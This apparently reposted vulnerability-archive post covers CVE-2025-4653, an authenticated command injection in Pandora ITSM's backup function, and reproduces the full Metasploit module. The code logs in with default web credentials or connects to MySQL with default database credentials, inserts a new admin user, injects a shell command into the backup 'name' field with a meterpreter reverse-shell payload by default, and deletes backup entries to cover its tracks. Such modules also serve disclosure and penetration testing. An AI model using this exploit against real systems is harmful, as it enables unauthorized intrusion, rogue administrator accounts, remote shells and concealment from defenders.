Pandora ITSM authenticated command injection leading to RCE via the backup function

漏洞信息

漏洞名称: Pandora ITSM authenticated command injection leading to RCE via the backup function

漏洞编号:

  • CVE: CVE-2025-4653

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: Pandora ITSM是一个服务管理与支持平台,包括一个帮助台,用于支持和客户服务团队,与ITIL流程对齐。它广泛应用于企业级服务管理中,帮助团队高效地处理服务请求和事件管理。该平台因其功能全面和易用性而受到许多组织的青睐。该漏洞存在于Pandora ITSM的备份功能中,具体是在应用程序设置页面的name备份设置中。攻击者可以通过在生成备份时在name参数中注入恶意负载来触发命令注入漏洞。此漏洞的技术根源在于应用程序未能正确验证和清理用户输入,导致攻击者可以执行任意命令。为了利用此漏洞,攻击者需要拥有Pandora ITSM Web应用程序的管理员访问权限。这可以通过知道管理员凭据或利用Pandora ITSM中的默认密码漏洞来实现,该漏洞允许攻击者访问Pandora FMS ITSM数据库,创建新的管理员用户并获得对Pandora ITSM Web应用程序的管理访问权限。此漏洞的影响非常严重,因为它允许攻击者在受影响的系统上执行任意命令,可能导致远程代码执行、数据泄露和服务中断。由于需要管理员权限,攻击者必须首先获得这些权限才能利用此漏洞。

产品厂商: Pandora FMS

产品名称: Pandora ITSM

影响版本: version <= 5.0.105

来源: https://github.com/rapid7/metasploit-framework/blob/58704e9eab04186fa200931421f382b3295eb7dd/modules%2Fexploits%2Flinux%2Fhttp%2Fpandora_itsm_auth_rce_cve_2025_4653.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/mysql/client'
require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include BCrypt
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

# @!attribute [rw] mysql_client
# @return [::Rex::Proto::MySQL::Client]
attr_accessor :mysql_client

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pandora ITSM authenticated command injection leading to RCE via the backup function',
'Description' => %q{
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
and customer service teams, aligned with ITIL processes.
This module exploits an command injection vulnerability in the `name` backup setting at the
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
malcious payload injected at the `name` parameter.
You need have admin access at the Pandora ITSM Web application in order to execute this RCE.
This access can be achieved by knowing the admin credentials to access the web application or
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
MySQL services are exposed to the outside world.
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
],
'References' => [
['CVE', '2025-4653'],
['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
['URL', 'https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f'],
['URL', 'https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-06-10',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Pandora ITSM application', '/pandoraitsm']),
OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandoraitsm']),
OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'P4ndor4.itsm']),
OptString.new('DB_NAME', [true, 'Pandora database', 'pandoraitsm']),
OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
OptString.new('PASSWORD', [false, 'Pandora web admin password', 'integria'])
])
end

# MySQL login
# returns true if successful else false
def mysql_login(host, user, password, db, port)
begin
self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
rescue Errno::ECONNREFUSED
print_error('Connection refused')
return false
rescue ::Rex::Proto::MySQL::Client::ClientError
print_error('Connection timedout')
return false
rescue Errno::ETIMEDOUT
print_error('Operation timedout')
return false
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
print_error('Unable to login from this host due to policy')
return false
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
print_error('Access denied')
return false
rescue StandardError => e
print_error("Unknown error: #{e.message}")
return false
end
true
end

# MySQL query
# returns query result if successful (can be nil) else returns false
def mysql_query(sql)
begin
res = mysql_client.query(sql)
rescue ::Rex::Proto::MySQL::Client::Error => e
print_error("MySQL Error: #{e.class} #{e}")
return false
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
return false
rescue StandardError => e
print_error("Unknown error: #{e.message}")
return false
end
res
end

# login at the Pandora ITSM web application
# return true if login successful else false
def pandoraitsm_login(name, pwd)
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'login' => 1,
'nick' => name,
'pass' => pwd,
'Login' => 'LOG IN'
}
})
return false unless res&.code == 200

res.body.include?('godmode')
end

# CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
def execute_command(cmd, _opts = {})
@rce_payload = ";#{cmd};"
vprint_status("RCE payload: #{@rce_payload}")
@clean_payload = true
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'godmode',
'sec2' => 'enterprise/godmode/setup/backup_manager'
},
'vars_post' => {
'name' => @rce_payload.to_s,
'mode' => 1,
'mail' => nil,
'create_backup' => 1,
'create' => 'Do a backup now'
}
})
end

# clean-up the payload entries in the backup list by removing the backup name from the list
# it also handles multiple entries (leftovers from previous attacks)
def clean_rce_payload(payload)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'godmode',
'sec2' => 'enterprise/godmode/setup/integria_backup'
}
})

unless res&.code == 200 && res.body.include?(payload.slice(0..4)) # just take the first 5 chars (;echo) as match
vprint_status('No payload entries found at the backup list.')
return
end

html = res.get_html_document
target_rows = html.css('table.dataTable tbody tr').select do |row|
name_backup = row.at_css('td')
name_backup && name_backup.text.strip.include?(payload.slice(0..4))
end

# Get the backup entry based on the href from <a> tags with an onclick attribute
if target_rows.any?
backup_entry = target_rows.flat_map do |row|
row.css('a[onclick]').map { |a| a['href'] }
end
else
vprint_status('No payload entries found at the backup list.')
return
end
vprint_status(backup_entry.to_s)
success = true
backup_entry.each do |entry|
id_bk_param = entry.match(/id_bk=\d*/)
next unless id_bk_param

id_bk = id_bk_param[0].split('=')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'sec' => 'godmode',
'sec2' => 'enterprise/godmode/setup/integria_backup',
'offset' => 0,
'remove' => 1,
id_bk[0].to_s => id_bk[1].to_s
}
})
success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)
end
if success
print_good('Payload entries successful removed from backup list.')
else
print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')
end
end

# add the session subscriber to hook the session
def setup
super
framework.events.add_session_subscriber(self)
end

# try to remove the payload from the backup list to cover our tracks
# The current attack entry can only be removed when the session is terminated
# because after termination of the session, the backup list entry gets updated
def on_session_close(session, _reason = '')
vprint_status("Hooked session #{session.sid} is shutting down and ready for cleaning.")
framework.events.remove_session_subscriber(self)
clean_rce_payload(@rce_payload)
end

# try to remove the payload from the backup list to cover our tracks
def cleanup
super
# Disconnect from MySQL server
mysql_client.close if mysql_client
# check if payload should be cleaned
clean_rce_payload(@rce_payload) if @clean_payload
end

def check
# use API v1.0 to check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'include', 'api.php'),
'vars_get' => {
'info' => 'version'
}
})
return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
return CheckCode::Safe('Target is not a Pandora ITSM application.') unless res.body.include?('Pandora ITSM')

version = res.body.match(/\d{1,3}\.\d{1,3}\.\d{1,3}/)
unless version.nil?
version = Rex::Version.new(version)
if version < Rex::Version.new('5.0.106')
return CheckCode::Appears(res.body.strip.to_s)
else
return CheckCode::Safe(res.body.strip.to_s)
end
end
CheckCode::Detected('Could not determine the Pandora ITSM version.')
end

def exploit
# check if we can login at the Pandora Web application with the default admin credentials
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
unless pandoraitsm_login(username, password)
# connect to the PostgreSQL DB with default credentials
print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res

# add a new admin user
username = Rex::Text.rand_text_alphanumeric(5..8).downcase
password = Rex::Text.rand_password

# check the password hash algorithm by reading the password hash of the admin user
# new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_usuario = 'admin';")
fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
hash = mysql_query_res.fetch_hash
if hash['password'].match(/^\$2.\$/)
password_hash = Password.create(password)
else
password_hash = Digest::MD5.hexdigest(password)
end
print_status("Creating new admin user with credentials #{username}:#{password} for access at the Pandora ITSM Web application.")
mysql_query_res = mysql_query("INSERT INTO tusuario (id_usuario, password, nivel) VALUES (\'#{username}\', \'#{password_hash}\', '1');")
fail_with(Failure::BadConfig, "Adding new admin credentials #{username}:#{password} to the database failed.") if mysql_query_res == false

# log in with the new admin user credentials at the Pandora ITSM Web application
print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora ITSM Web application.') unless pandoraitsm_login(username, password)
end
print_status('Succesfully authenticated at the Pandora ITSM Web application.')

# storing credentials at the msf database
print_status('Saving admin credentials at the msf database.')
store_valid_credential(user: username, private: password)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
end



Pandora ITSM authenticated command injection leading to RCE via the backup function
http://example.com/2025/07/24/github_698657210/
作者
lianccc
发布于
2025年7月24日
许可协议